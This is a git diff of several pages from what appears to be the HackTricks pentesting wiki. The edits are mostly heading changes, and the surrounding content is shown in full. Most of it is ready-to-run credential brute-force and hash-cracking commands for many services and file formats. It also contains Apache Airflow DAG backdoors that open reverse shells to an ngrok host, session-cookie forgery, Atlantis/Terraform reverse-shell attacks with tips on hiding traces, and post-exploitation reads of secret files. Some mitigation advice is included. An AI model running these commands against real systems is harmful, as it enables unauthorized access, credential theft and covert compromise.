http-get / ``` -### FTP +## FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp @@ -146,11 +144,11 @@ ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` -### HTTP Generic Brute +## HTTP Generic Brute -#### [**WFuzz**](pentesting-web/web-tool-wfuzz.md) +### [**WFuzz**](pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth +## HTTP Basic Auth ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ @@ -158,7 +156,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` -### HTTP - Post Form +## HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V @@ -167,13 +165,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl For http**s** you have to change from "http-post-form" to "**https-post-form"** -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle +## **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` -### IMAP +## IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V @@ -181,19 +179,19 @@ hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` -### IRC +## IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` -### ISCSI +## ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` -### JWT +## JWT ```bash #hashcat @@ -218,26 +216,26 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` -### LDAP +## LDAP ```bash nmap --script ldap-brute -p 389 ``` -### MQTT +## MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v ``` -### Mongo +## Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` -### MySQL +## MySQL ```bash # hydra @@ -250,7 +248,7 @@ msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql ``` -### OracleSQL +## OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -286,14 +284,14 @@ pip3 install cx_Oracle --upgrade nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` -### POP +## POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` -### PostgreSQL +## PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres @@ -304,7 +302,7 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` -### PPTP +## PPTP You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) @@ -313,14 +311,14 @@ sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` -### RDP +## RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` -### Redis +## Redis ```bash msf> use auxiliary/scanner/redis/redis_login @@ -328,19 +326,19 @@ nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default ``` -### Rexec +## Rexec ```bash hydra -l -P rexec:// -v -V ``` -### Rlogin +## Rlogin ```bash hydra -l -P rlogin:// -v -V ``` -### Rsh +## Rsh ```bash hydra -L rsh:// -v -V @@ -348,19 +346,19 @@ hydra -L rsh:// -v -V [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) -### Rsync +## Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` -### RTSP +## RTSP ```bash hydra -l root -P passwords.txt rtsp ``` -### SNMP +## SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login @@ -369,27 +367,27 @@ onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass. hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` -### SMB +## SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` -### SMTP +## SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` -### SOCKS +## SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 ``` -### SQL Server +## SQL Server ```bash #Use the NetBIOS name of the machine as domain @@ -400,7 +398,7 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` -### SSH +## SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh @@ -409,7 +407,7 @@ medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' ``` -### Telnet +## Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet @@ -417,7 +415,7 @@ ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` -### VNC +## VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc @@ -432,15 +430,15 @@ set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` -### Winrm +## Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -## Local +# Local -### Online cracking databases +## Online cracking databases * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) @@ -455,7 +453,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt Check this out before trying to bruteforce a Hash. -### ZIP +## ZIP ```bash #sudo apt-get install fcrackzip @@ -473,7 +471,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -### 7z +## 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z @@ -486,7 +484,7 @@ apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` -### PDF +## PDF ```bash apt-get install pdfcrack @@ -497,7 +495,7 @@ sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` -### JWT +## JWT ```bash git clone https://github.com/Sjord/jwtcrack.git @@ -511,7 +509,7 @@ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h john jwt.john #It does not work with Kali-John ``` -### NTLM cracking +## NTLM cracking ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: @@ -519,7 +517,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -### Keepass +## Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john @@ -529,7 +527,7 @@ keepass2john -k file.kdbx > hash # The keepas is also using a fi john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` -### Keberoasting +## Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast @@ -537,9 +535,9 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Lucks image +## Lucks image -#### Method 1 +### Method 1 Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) @@ -550,7 +548,7 @@ ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -#### Method 2 +### Method 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 @@ -563,7 +561,7 @@ mount /dev/mapper/mylucksopen /mnt Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) -### Mysql +## Mysql ```bash #John hash format @@ -571,14 +569,14 @@ Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux- dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` -### PGP/GPG Private key +## PGP/GPG Private key ```bash gpg2john private_pgp.key #This will generate the hash, save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` -### Open Office Pwd Protected Column +## Open Office Pwd Protected Column If you have xlsx file with a column protected by password you can unprotect it: @@ -594,7 +592,7 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV zip -r file.xls . ``` -### PFX Certificates +## PFX Certificates ```bash # From https://github.com/Ridter/p12tool @@ -603,18 +601,18 @@ zip -r file.xls . crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -## Tools +# Tools **Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) -### Hash-identifier +## Hash-identifier ```bash hash-identifier > ``` -### John mutation +## John mutation Read _**/etc/john/john.conf**_ and configure it @@ -623,7 +621,7 @@ john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` -### Hashcat +## Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" diff --git a/burp-suite.md b/burp-suite.md index f643241a..db4fad48 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Burp Suite - -## Basic Payloads +# Basic Payloads * **Simple List:** Just a list containing an entry in each line * **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists. diff --git a/certificates.md b/certificates.md index d8afe3bb..ae477e10 100644 --- a/certificates.md +++ b/certificates.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Certificates - -## What is a Certificate +# What is a Certificate In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. @@ -27,7 +25,7 @@ In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-ke The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. -## x509 Common Fields +# x509 Common Fields * **Version Number:** Version of x509 format. * **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information. @@ -69,7 +67,7 @@ The most common format for public key certificates is defined by [X.509](https:/ * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\). * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate. -### Difference between OSCP and CRL Distribution Points +## Difference between OSCP and CRL Distribution Points **OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**. **CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries. diff --git a/cloud-security/apache-airflow/README.md b/cloud-security/apache-airflow/README.md index c9dba9fe..d6af69ab 100644 --- a/cloud-security/apache-airflow/README.md +++ b/cloud-security/apache-airflow/README.md @@ -17,21 +17,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Apache Airflow - -## Basic Information +# Basic Information [**Apache Airflow**](https://airflow.apache.org) is used for the **scheduling and **_**orchestration of data pipelines**_** or workflows**. Orchestration of data pipelines refers to the sequencing, coordination, scheduling, and managing complex **data pipelines from diverse sources**. These data pipelines deliver data sets that are ready for consumption either by business intelligence applications and data science, machine learning models that support big data applications. Basically, Apache Airflow will allow you to **schedule de execution of code when something** (event, cron) **happens**. -## Local Lab +# Local Lab -### Docker-Compose +## Docker-Compose You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). -### Minikube +## Minikube One easy way to **run apache airflo**w is to run it **with minikube**: @@ -45,7 +43,7 @@ helm install airflow-release airflow-stable/airflow helm delete airflow-release ``` -## Airflow Configuration +# Airflow Configuration Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: @@ -53,7 +51,7 @@ Airflow might store **sensitive information** in its configuration or you can fi [airflow-configuration.md](airflow-configuration.md) {% endcontent-ref %} -## Airflow RBAC +# Airflow RBAC Before start attacking Airflow you should understand **how permissions work**: @@ -61,9 +59,9 @@ Before start attacking Airflow you should understand **how permissions work**: [airflow-rbac.md](airflow-rbac.md) {% endcontent-ref %} -## Attacks +# Attacks -### Web Console Enumeration +## Web Console Enumeration If you have **access to the web console** you might be able to access some or all of the following information: @@ -73,7 +71,7 @@ If you have **access to the web console** you might be able to access some or al * List **users & roles** * **Code of each DAG** (which might contain interesting info) -### Privilege Escalation +## Privilege Escalation If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. @@ -81,7 +79,7 @@ If the **`expose_config`** configuration is set to **True**, from the **role Use flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -### DAG Backdoor (RCE in Airflow worker) +## DAG Backdoor (RCE in Airflow worker) If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ Note that this reverse shell is going to be executed inside an **airflow worker container**: @@ -125,7 +123,7 @@ with DAG( ) ``` -### DAG Backdoor (RCE in Airflow scheduler) +## DAG Backdoor (RCE in Airflow scheduler) If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. @@ -153,7 +151,7 @@ with DAG( op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` -### DAG Creation +## DAG Creation If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. diff --git a/cloud-security/apache-airflow/airflow-configuration.md b/cloud-security/apache-airflow/airflow-configuration.md index 1a3b65c5..5f1d97cf 100644 --- a/cloud-security/apache-airflow/airflow-configuration.md +++ b/cloud-security/apache-airflow/airflow-configuration.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Airflow Configuration - -## Configuration File +# Configuration File **Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** @@ -32,7 +30,7 @@ If you have **access to some machine inside the airflow env**, check the **envir Some interesting values to check when reading the config file: -### \[api] +## \[api] * **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** * **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** @@ -47,12 +45,12 @@ Some interesting values to check when reading the config file: * You can also **create you own authentication** method with python. * **`google_key_path`:** Path to the **GCP service account key** -### **\[atlas]** +## **\[atlas]** * **`password`**: Atlas password * **`username`**: Atlas username -### \[celery] +## \[celery] * **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) * **`result_backend`**: Postgres url which may contain **credentials**. @@ -60,39 +58,39 @@ Some interesting values to check when reading the config file: * **`ssl_cert`**: Path to the cert * **`ssl_key`**: Path to the key -### \[core] +## \[core] * **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. * **`fernet_key`**: Key to store encrypted variables (symmetric) * **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. * **`security`**: What security module to use (for example kerberos) -### \[dask] +## \[dask] * **`tls_ca`**: Path to ca * **`tls_cert`**: Part to the cert * **`tls_key`**: Part to the tls key -### \[kerberos] +## \[kerberos] * **`ccache`**: Path to ccache file * **`forwardable`**: Enabled by default -### \[logging] +## \[logging] * **`google_key_path`**: Path to GCP JSON creds. -### \[secrets] +## \[secrets] * **`backend`**: Full class name of secrets backend to enable * **`backend_kwargs`**: The backend\_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. -### \[smtp] +## \[smtp] * **`smtp_password`**: SMTP password * **`smtp_user`**: SMTP user -### \[webserver] +## \[webserver] * **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value * **`cookie_secure`**: Set **secure flag** on the the session cookie @@ -103,7 +101,7 @@ Some interesting values to check when reading the config file: * **`web_server_ssl_key`**: **Path** to the **SSL** **Key** * **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible -### Web Authentication +## Web Authentication By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as diff --git a/cloud-security/apache-airflow/airflow-rbac.md b/cloud-security/apache-airflow/airflow-rbac.md index ac2d2558..a2ba87f3 100644 --- a/cloud-security/apache-airflow/airflow-rbac.md +++ b/cloud-security/apache-airflow/airflow-rbac.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Airflow RBAC - -## RBAC +# RBAC Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. @@ -33,7 +31,7 @@ Note that **admin** users can **create more roles** with more **granular permiss Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. -### Default Permissions +## Default Permissions These are the default permissions per default role: diff --git a/cloud-security/atlantis.md b/cloud-security/atlantis.md index 781563f1..a315826e 100644 --- a/cloud-security/atlantis.md +++ b/cloud-security/atlantis.md @@ -16,24 +16,23 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Atlantis -### Basic Information +# Basic Information Atlantis basically helps you to to run terraform from Pull Requests from your git server. ![](<../.gitbook/assets/image (307) (3).png>) -### Local Lab +# Local Lab 1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. 2. Create a **personal token** (with repo access) of your **github** user 3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** 1. You can access the web page in 127.0.0.1:4141 -### Atlantis Access +# Atlantis Access -#### Git Server Credentials +## Git Server Credentials **Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ @@ -43,7 +42,7 @@ However, in order to access the repos in those platforms and perform actions, it In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. {% endhint %} -#### Webhooks +## Webhooks Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. @@ -55,7 +54,7 @@ Note that unless you use a private github or bitbucket server, you will need to Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. {% endhint %} -#### Provider Credentials +## Provider Credentials Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. @@ -73,13 +72,13 @@ It's up to you how you [provide credentials](https://www.runatlantis.io/docs/pro The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. {% endhint %} -#### Web Page +## Web Page By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). -### Server Configuration +# Server Configuration Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. @@ -96,7 +95,7 @@ Values are **chosen in this order**: Note that in the configuration you might find interesting values such as **tokens and passwords**. {% endhint %} -#### Repos Configuration +## Repos Configuration Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: @@ -155,7 +154,7 @@ Atlantis supports running **server-side** [**conftest**](https://www.conftest.de You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). -### Atlantis Commands +# Atlantis Commands \*\*\*\*[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: @@ -165,24 +164,24 @@ atlantis help # Run terraform plan atlantis plan [options] -- [terraform plan flags] -##Options: -## -d directory -## -p project -## --verbose -## You can also add extra terraform options +#Options: +# -d directory +# -p project +# --verbose +# You can also add extra terraform options # Run terraform apply atlantis apply [options] -- [terraform apply flags] -##Options: -## -d directory -## -p project -## -w workspace -## --auto-merge-disabled -## --verbose -## You can also add extra terraform options +#Options: +# -d directory +# -p project +# -w workspace +# --auto-merge-disabled +# --verbose +# You can also add extra terraform options ``` -### Attacks +# Attacks {% hint style="warning" %} If during the exploitation you find this **error**: `Error: Error acquiring the state lock` @@ -195,7 +194,7 @@ atlantis plan -- -lock=false ``` {% endhint %} -#### Atlantis plan RCE - Config modification in new PR +## Atlantis plan RCE - Config modification in new PR If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can \*\*execute `atlantis plan` \*\* (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. @@ -224,7 +223,7 @@ You can find the rev shell code in [https://github.com/carlospolop/terraform\_ex * In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` * **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. -#### Atlantis apply RCE - Config modification in new PR +## Atlantis apply RCE - Config modification in new PR If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. @@ -256,7 +255,7 @@ resource "null_resource" "rev_shell" { Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. -#### Terraform Param Injection +## Terraform Param Injection When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: @@ -270,7 +269,7 @@ atlantis apply -- -h #Get terraform apply help Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -#### Custom Workflow +## Custom Workflow Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ This possibility was mentioned in a previous section: @@ -297,7 +296,7 @@ workflows: ``` {% endhint %} -#### PR Hijacking +## PR Hijacking If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. @@ -307,11 +306,11 @@ This is the **setting** in Github branch protections: ![](<../.gitbook/assets/image (375) (1).png>) -#### Webhook Secret +## Webhook Secret If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. -#### Bitbucket +## Bitbucket Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. @@ -319,7 +318,7 @@ Bitbucket Cloud does **not support webhook secrets**. This could allow attackers * If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. * To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). -### Post-Exploitation +# Post-Exploitation If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: @@ -330,17 +329,17 @@ If you managed to get access to the server or at least you got a LFI there are s * `/proc/1/environ` Env variables * `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) -### Mitigations +# Mitigations -#### Don't Use On Public Repos +## Don't Use On Public Repos Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. -#### Don't Use `--allow-fork-prs` +## Don't Use `--allow-fork-prs` If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. -#### `--repo-allowlist` +## `--repo-allowlist` Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: @@ -351,7 +350,7 @@ Atlantis requires you to specify a allowlist of repositories it will accept webh This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. -#### Protect Terraform Planning +## Protect Terraform Planning If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data\_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. @@ -361,7 +360,7 @@ To prevent this, you could: 2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. 3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. -#### Webhook Secrets +## Webhook Secrets Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). @@ -371,17 +370,17 @@ If you are using Azure DevOps, instead of webhook secrets add a basic username a Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. -#### SSL/HTTPS +## SSL/HTTPS If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. -#### Enable Authentication on Atlantis Web Server +## Enable Authentication on Atlantis Web Server It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. -### References +# References * [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)\*\*\*\* diff --git a/cloud-security/aws-security.md b/cloud-security/aws-security.md index da8a0287..d2718ef0 100644 --- a/cloud-security/aws-security.md +++ b/cloud-security/aws-security.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# AWS 